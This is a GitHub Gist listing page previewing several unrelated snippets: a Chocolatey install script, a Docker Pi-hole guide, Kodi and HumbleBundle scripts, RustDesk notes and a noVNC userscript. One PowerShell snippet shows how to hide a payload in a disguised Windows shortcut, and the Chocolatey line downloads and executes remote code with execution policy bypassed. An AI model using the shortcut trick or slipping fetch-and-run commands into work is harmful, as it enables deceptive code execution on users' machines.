Skip to content

Instantly share code, notes, and snippets.

@zaccb
zaccb / install-choco-script.bat
Last active December 10, 2023 08:54
Chocolatey install script
:: Install choco .exe and add choco to PATH
@powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))" && SET "PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin"
:: Install all the packages
:::: Browsers
choco install googlechrome -fy
choco install firefox -fy
:::: Text editors / IDEs
choco install atom -fy
@3gstudent
3gstudent / shortcut.ps1
Created December 30, 2016 03:10
Hide payload into Windows shortcut
$file = Get-Content "c:\test\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("c:\test\test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = ' '+ $file
$Shortcut.Save()
@wellington1993
wellington1993 / CaffeineAutostartUbuntuLinux.md
Last active April 23, 2020 01:16
Caffeine Autostar Ubuntu Linux

Here's how I solved it: Move /etc/xdg/autostart/caffeine.desktop to ~/.config/autostart (You'll need to be root for it to be deleted from /etc/__) Change ownership of the moved "caffeine.desktop" to yourself, if necessary (it should be writable).

From: https://ubuntuforums.org/showthread.php?t=2206656

Extra:

sudo add-apt-repository ppa:caffeine-developers/caffeine-dev

Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@santiagobasulto
santiagobasulto / README.md
Last active February 17, 2025 16:05
Download HumbleBundle books in batch with a simple Python script.

Download HumbleBundle books

This is a quick Python script I wrote to download HumbleBundle books in batch. I bought the amazing Machine Learning by O'Reilly bundle. There were 15 books to download, with 3 different file formats per book. So I scratched a quick script to download all of them in batch.

(Final Result: books downloaded)

@kevin-smets
kevin-smets / local-pi-hole-in-docker-macos.md
Last active July 9, 2024 19:49
Local Pi-hole in Docker [MacOS]

Prerequisites

  • Docker
  • Docker Compose

If you don't have these, run

brew install docker docker-compose
@henryjfry
henryjfry / kodi_rd_prescrape_playlist.py
Created November 13, 2020 19:31
kodi_rd_prescrape_playlist.py
#!/usr/bin/python
import requests
import json
import time
import sys
import PTN
import re
regex = re.compile('[^a-zA-Z]')
@flrichar
flrichar / rustdesk-tailscale.txt
Last active November 13, 2024 21:47
rustdesk-tailscale
Rustdesk is open-source teamviewer, hbbs = ID/rendezvous server, hbbr = relay server
$ docker image pull rustdesk/rustdesk-server
make a data dir, and simple start.sh bash script
viola, ufw stops other traffic, enforced over 100.64.0.0/10 carrier nat from tailscale
current testing machine in Vultr ON, Canada
tree view of data dir
data
@amunchet
amunchet / noVNCCopyPasteProxmox.user.js
Last active March 7, 2026 09:34
Copy/Paste for noVNC Proxmox
// ==UserScript==
// @name noVNC Paste for Proxmox
// @namespace http://tampermonkey.net/
// @version 0.2a
// @description Pastes text into a noVNC window (for use with Proxmox specifically)
// @author Chester Enright
// @match https://*
// @include /^.*novnc.*/
// @require http://code.jquery.com/jquery-3.3.1.min.js
// @grant none